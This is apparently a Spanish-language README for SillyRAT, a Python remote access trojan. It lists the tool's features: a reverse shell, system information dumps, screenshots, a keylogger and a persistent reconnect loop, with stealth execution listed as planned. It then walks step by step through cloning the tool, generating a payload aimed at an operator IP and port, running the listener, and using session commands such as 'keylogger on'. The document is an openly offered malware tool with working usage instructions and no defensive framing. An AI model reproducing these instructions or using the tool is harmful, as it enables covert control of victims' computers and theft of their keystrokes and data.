Un RAT multiplataforma escrito en Python puro. El RAT acepta comandos junto con argumentos para actuar como el servidor que acepta conexiones o para actuar como el cliente/objetivo que establece conexiones con el servidor. El comando generate
utiliza el módulo pyinstaller para compilar el código real del payload. Por lo tanto, para generar el archivo payload para tu respectiva plataforma, necesitas estar en esa plataforma mientras generas el archivo. Además, también puedes obtener directamente el archivo fuente.
Características
- Shell incorporado para la ejecución de comandos
- Volcado de la información del sistema, incluyendo las unidades de disco
- Módulo de captura de pantalla. Captura la pantalla del cliente.
- Bucle de conexión (continuará en la conexión con el servidor)
- Actualmente utiliza codificación BASE64.
- Python puro
- Plataforma cruzada. (Probado en Linux. Se aceptan errores)
- Archivo fuente incluido para pruebas
- Python 3
Se espera en el futuro
- Ejecución sigilosa
- Cifrado
- Almacenamiento de sesiones desde el último intento
- Envío de notificaciones cuando un cliente se conecta
Instalación
La herramienta está probada en Parrot OS con Python. Sigue los pasos para la instalación:
$ git clone https://github.com/hash3liZer/SillyRAT.git
$ cd SillyRAT/
$ pip3 install -r requirements.txt
Documentación
Generación de la carga útil (payload)
Puedes obtener el archivo de carga útil de dos maneras:
- Archivo fuente
- Archivo compilado
El archivo fuente debe permanecer igual en todas las plataformas. Por lo tanto, puedes generarlo en una plataforma y utilizarlo en la otra. Obteniendo el archivo fuente:
$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/payload.py --source
La versión compilada debe generarse en la plataforma correspondiente. Por ejemplo, no se puede generar un archivo .exe en Linux. Específicamente tienes que estar en Windows. La herramienta está todavía en fase de pruebas. Por lo tanto, se aceptan todo tipo de errores. Sin embargo, asegúrate de abrir un issue. Generando la versión compilada para Linux:
$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/filer
Reemplaza tu dirección IP y el puerto en los comandos anteriores.
Ejecución del servidor
El servidor debe ser ejecutado en Linux. Puedes comprar un VPS o un servidor en la nube para las conexiones. Para que conste, el servidor no almacena ninguna sesión de la última ejecución. Por lo tanto, todo el progreso se perderá una vez que la aplicación del servidor se termine. Ejecutar tu servidor:
$ python3 sillyrat.py bind --address 0.0.0.0 --port 2999
Conexiones
Todas las conexiones serán listadas bajo el comando sessions
:
$ sessions
Puedes conectarte a tu sesión de destino con el comando connect
y lanzar uno de los comandos disponibles:
$ connect ID
$ keylogger on
$ keylogger dump
$ screenshot
Ayuda
Obtener una lista de comandos disponibles:
$ help
Ayuda sobre un comando específico:
$ help [COMANDO]
SillyRAT (este enlace se abre en una nueva ventana) por hash3liZer (este enlace se abre en una nueva ventana)
A Python based RAT 🐀 (Remote Access Trojan) for getting reverse shell 🖥️